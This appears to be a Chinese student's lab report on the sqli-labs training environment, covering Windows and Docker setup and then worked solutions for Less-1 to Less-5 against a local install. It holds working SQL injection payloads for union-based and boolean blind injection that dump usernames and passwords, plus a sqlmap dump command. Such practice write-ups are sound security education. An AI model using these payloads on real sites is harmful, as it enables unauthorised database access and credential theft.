大四_17周实训

环境安装_windows

Windows 虚拟机 WIN10_LTSC

phpstudy 2016

安装比较老的php(不能大于7不然无法安装)

http://public.xp.cn/upgrades/phpStudy20161103.zip

能打开就行;

复制环境

https://github.com/Audi-1/sqli-labs

下一个zip

复制到这里:

粘贴到这里

改名为:sqli

填个密码:(默认密码是root)

访问:

等一会就行

这样就行:

环境安装_Linux

git clone https://github.com/Audi-1/sqli-labs
docker-compose up

#访问81端口即可

docker-compose.yaml

version: '3'
services:
  nginx:
    image: nginx:latest
    ports:
      - "81:80"
    volumes:
      - ./sqli-labs:/var/www/html/sqli
      - ./nginx.conf:/etc/nginx/conf.d/default.conf
    depends_on:
      - php

  php:
    build: .
    volumes:
      - ./sqli-labs:/var/www/html/sqli

  mysql:
    image: mysql:5.7
    environment:
      MYSQL_ROOT_PASSWORD: 123456
    volumes:
      - ./mysql_data:/var/lib/mysql

Dockerfile

FROM php:5.6-fpm-alpine
RUN apk add --no-cache mysql-client
RUN docker-php-ext-install mysql mysqli pdo pdo_mysql

nginx.conf

server {
    listen 80;
    server_name localhost;
    root /var/www/html;
    index index.php index.html;

    location ~ \.php$ {
        fastcgi_pass php:9000;
        fastcgi_index index.php;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        include fastcgi_params;
    }
}

修改下配置文件

db-creds.inc

修改数据库连接配置

sql-connections/db-creds.inc

<?php

//give your mysql connection username n password
$dbuser ='root';
$dbpass ='toor';
$dbname ="security";
$host = 'mysql';
$dbname1 = "challenges";


?>

启动

端口转发即可

docker-compose up

如图所示

要求:任务1

http://127.0.0.1/sqli/Less-2/?id=1’ 
报错
http://127.0.0.1/sqli/Less-2/?id=1 and 1=1 正常
http://127.0.0.1/sqli/Less-2/?id=1 and 1=11不正常
确定为数值型,存在注入。
http://127.0.0.1/sqli/Less-2/?id=1 order by 10 不正常
http://127.0.0.1/sqli/Less-2/?id=1 order by 4 不正常
http://127.0.0.1/sqli/Less-2/?id=1 order by 3 正常
确定3列
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,3
确定显示位2,3
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,database()
结果security ,确定了数据库名
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" 
结果:emails,referers,uagents,users,确定了4个表名
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"
结果:id,username,password  一共3个列
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(username,0x7e,password) from users
爆出所有账号密码

要求:任务2

SELECT * FROM users WHERE id='$id' LIMIT 0,1
id=1'--+
SELECT * FROM users WHERE id='1'
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(username,0x7e,password) from users--+
http://127.0.0.1/sqli/Less-3/?id=1')--+
http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2,group_concat(username,0x7e,password) from users--+
http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,group_concat(username,0x7e,password) from users--+

http://127.0.0.1/sqli/Less-5/?id=1' and length(database)=9--+错误
http://127.0.0.1/sqli/Less-5/?id=1' and length(database)=8--+正确
结论:数据库名字长度是8
http://127.0.0.1/sqli/Less-5/?id=1' and (select substr(database(),1,1))="s"--+正确
http://127.0.0.1/sqli/Less-5/?id=1' and (select substr(database(),1,1))="d"--+不正确
结论:数据库名字第一个字母是s
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>114--+正确
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>115--+错误
结论:ascii对应115,115对应s
101--e  99--c  117--u  
爆表、列、值

进入网页,进行初始化

初始化;

实验任务1 - LESS2

1. 首先测试是否存在SQL注入漏洞:

http://127.0.0.1/sqli/Less-2/?id=1’ 

报错

添加单引号后页面报错,说明存在潜在注入点。

2. 进一步通过and语句判断注入类型:

http://127.0.0.1/sqli/Less-2/?id=1 and 1=1 正常

继续尝试,提供错误表达式

http://127.0.0.1/sqli/Less-2/?id=1 and 1=11不正常

3. 根据测试结果可以确定这是一个数值型注入。

确定为数值型,存在注入。

4. 尝试数据库获得字段数

http://127.0.0.1/sqli/Less-2/?id=1 order by 10 不正常

继续尝试

http://127.0.0.1/sqli/Less-2/?id=1 order by 4 不正常

继续尝试

http://127.0.0.1/sqli/Less-2/?id=1 order by 3 正常

确定查询结果包含3个字段。

5. 确定显示位置

使用UNION SELECT语句确定显示位:

http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,3

如图,确定显示位2,3

6. 确定数据库名

这样有显示了,就可以把数据库名字拿出来。

http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,database()

结果security ,确定了数据库名

7. 然后尝试把列名拿出来

id=-1 union select 1,2,group_concat(table_name) 
from information_schema.tables 
where table_schema="security"

payload:

http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" 

结果:emails,referers,uagents,users。

8. 再拿字段名字

id=-1 union select 1,2,group_concat(column_name) 
from information_schema.columns 
where table_schema="security" 
and table_name="users"

payload:

http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"

结果:id,username,password 一共3个列

9. 数据获取

最后获取用户表中的敏感信息:

http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(username,0x7e,password) from users
爆出所有账号密码

实验任务2

SELECT * FROM users WHERE id='$id' LIMIT 0,1
id=1'--+
SELECT * FROM users WHERE id='1'


http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(username,0x7e,password) from users--+




http://127.0.0.1/sqli/Less-3/?id=1')--+
http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2,group_concat(username,0x7e,password) from users--+
http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,group_concat(username,0x7e,password) from users--+

http://127.0.0.1/sqli/Less-5/?id=1' and length(database)=9--+错误
http://127.0.0.1/sqli/Less-5/?id=1' and length(database)=8--+正确
结论:数据库名字长度是8
http://127.0.0.1/sqli/Less-5/?id=1' and (select substr(database(),1,1))="s"--+正确
http://127.0.0.1/sqli/Less-5/?id=1' and (select substr(database(),1,1))="d"--+不正确
结论:数据库名字第一个字母是s
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>114--+正确
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>115--+错误
结论:ascii对应115,115对应s
101--e  99--c  117--u  
爆表、列、值

Less-1: 字符型注入(')

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(username,0x7e,password) from users--+

需要闭合单引号,使用union select直接注入。

结果: 成功获取用户名和密码数据

Dumb~Dumb, Angelina~I-kill-you, Dummy~p@ssword, secure~crappy, stupid~stupidity, superman~genious, batman~mob!le, admin~admin, admin1~admin1, admin2~admin2, admin3~admin3, admin4~admin4

Less-3: 字符型注入(')

需要闭合单引号和括号

1. 测试注入点

http://127.0.0.1/sqli/Less-3/?id=1')--+

结果:页面正常显示,确认闭合方式正确

2.构造完整payload获取数据

http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2,group_concat(username,0x7e,password) from users--+

结果: 同Less-1,成功获取所有用户数据

Less-4: 字符型注入(")

需要闭合双引号和括号

http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,group_concat(username,0x7e,password) from users--+

结果: 同样成功获取用户数据

Less-5: 布尔盲注

通过布尔盲注逐步获取信息

http://127.0.0.1/sqli/Less-5/?id=1' and length(database)=9--+错误

1.判断数据库名长度

http://127.0.0.1/sqli/Less-5/?id=1' and length(database())=9--+

结果: 错误,页面无正常显示

http://127.0.0.1/sqli/Less-5/?id=1' and length(database)=8--+正确

结果: 正确,页面正常显示
结论: 数据库名长度为8个字符

2.逐字符判断数据库名

http://127.0.0.1/sqli/Less-5/?id=1' and (select substr(database(),1,1))="s"--+正确

结果: 正确,页面正常显示

http://127.0.0.1/sqli/Less-5/?id=1' and (select substr(database(),1,1))="d"--+不正确

结果: 错误,页面无正常显示
结论: 数据库名第一个字符为's'

结论:数据库名字第一个字母是s

3.使用ASCII码进一步确认

http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>114--+正确

结果: 正确

http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>115--+错误

结果: 错误
结论: 第一个字符ASCII码为115,对应字母's'

4.常用ASCII码对照表

s: 115

e: 101

c: 99

u: 117

5.剩下的工作比较重复,直接使用工具即可

但是是没有灵魂的。

爆表、列、值,直接用工具啦。

爆库:

获得库:

爆表

6. 没有灵魂,直接DUMP出来

H:\awd\ONE-FOX集成工具箱_V6公开版_by狐狸\ONE-FOX集成工具箱_V6公开版_by狐狸\gui_scan\sqlmap> python sqlmap.py -u http://127.0.0.1/sqli/Less-5/?id=1 -D security --dump

OK,试验结束。

最后修改:2024 年 12 月 25 日
如果觉得我的文章对你有用,请随意赞赏